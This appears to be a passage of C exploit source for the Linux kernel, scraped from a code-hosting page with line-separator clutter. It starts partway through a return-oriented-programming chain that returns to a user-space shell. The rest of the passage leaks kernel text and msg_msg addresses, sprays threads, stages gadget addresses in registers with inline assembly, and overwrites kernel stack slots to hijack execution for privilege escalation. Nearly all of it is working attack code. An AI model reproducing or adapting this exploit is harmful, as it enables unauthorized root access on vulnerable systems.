*rop++ = IRET_OFFSET+_text;
|
||||
*rop++ = (size_t)&shell;
|
||||
*rop++ = user_cs;
|
||||
*rop++ = user_rflags;
|
||||
*rop++ = user_sp;
|
||||
*rop++ = user_ss;
|
||||
}
|
||||
|
||||
char thread_stack[1<<15];
|
||||
|
||||
int main(void)
|
||||
{
|
||||
save_state();
|
||||
pin_to_core(0);
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
lkm_code_leak((size_t)&_text);
|
||||
printf("[+] _text %016zx\n", _text);
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
build_rop_chain((size_t *)(message->mtext+MSG_TEXT_OFFSET));
|
||||
|
||||
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
send_msg(qid, message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qid, MSG_TYPE);
|
||||
printf("[+] msg_msg %016zx\n", msg_msg);
|
||||
|
||||
int ret;
|
||||
pthread_t tid;
|
||||
for (size_t i = 0; i < SPRAY_THREADS; ++i) {
|
||||
ret = pthread_create(&tid, 0, spray_task, 0);
|
||||
if (ret < 0) {
|
||||
perror("pthread_create(spray_task)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] create leak task\n");
|
||||
ret = pthread_create(&tid, 0, leak_task, 0);
|
||||
if (ret < 0) {
|
||||
perror("pthread_create(leak_task)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] join leak task\n");
|
||||
pthread_join(tid, 0);
|
||||
for (size_t i = 0; i < RECLAIM_STACK_THREADS; ++i) {
|
||||
/* load small first payload on the stack via user registers */
|
||||
register size_t r12 asm("r12");
|
||||
size_t old_r12 = r12;
|
||||
register size_t r13 asm("r13");
|
||||
size_t old_r13 = r13;
|
||||
register size_t r14 asm("r14");
|
||||
size_t old_r14 = r14;
|
||||
asm volatile(
|
||||
"mov %[st90], %%r12;"
|
||||
"mov %[st98], %%r13;"
|
||||
"mov %[sta0], %%r14;"
|
||||
::
|
||||
[st90]"r"(_text+MOV_RSP_RBP_POP_RET_OFFSET),
|
||||
[st98]"r"(_text+PUSH_RAX_POP_RBP_RET_OFFSET),
|
||||
[sta0]"r"(_text+XCHG_RDI_RAX_RET_OFFSET)
|
||||
);
|
||||
clone(empty_function, thread_stack+sizeof(thread_stack), CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 0);
|
||||
asm volatile(
|
||||
"mov %%r12, %[old_r12];"
|
||||
"mov %%r13, %[old_r13];"
|
||||
"mov %%r14, %[old_r14];"
|
||||
::
|
||||
[old_r12]"m"(old_r12),
|
||||
[old_r13]"m"(old_r13),
|
||||
[old_r14]"m"(old_r14)
|
||||
);
|
||||
}
|
||||
/* overwrite function pointer with rdi register */
|
||||
lkm_write(stack+STACK_SZ-0xc0, _text+ADD_RSP_0X38_RET_OFFSET); // <- R12, RIP
|
||||
lkm_write(stack+STACK_SZ-0xc8, msg_msg+MSG_HEADER+MSG_TEXT_OFFSET); // <- R13, RDI
|
||||
|
||||
/* for testing */
|
||||
// lkm_write(stack+STACK_SZ-0xb8, 0x4141414141414141);
|
||||
// lkm_write(stack+STACK_SZ-0xc0, 0x4242424242424242); // <- R12, RIP
|
||||
// lkm_write(stack+STACK_SZ-0xc8, 0x4343434343434343); // <- R13, RDI
|
||||
// lkm_write(stack+STACK_SZ-0xd0, 0x4444444444444444);
|
||||
// lkm_write(stack+STACK_SZ-0xd8, 0x4545454545454545); // <- R14
|
||||
// lkm_write(stack+STACK_SZ-0xe0, 0x4646464646464646); // <- R15
|
||||
|
||||
printf("[*] main thread sleep\n");
|
||||
sleep(-1);
|
||||
// cleanup_queue(qid);
|
||||
printf("[*] done\n");
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue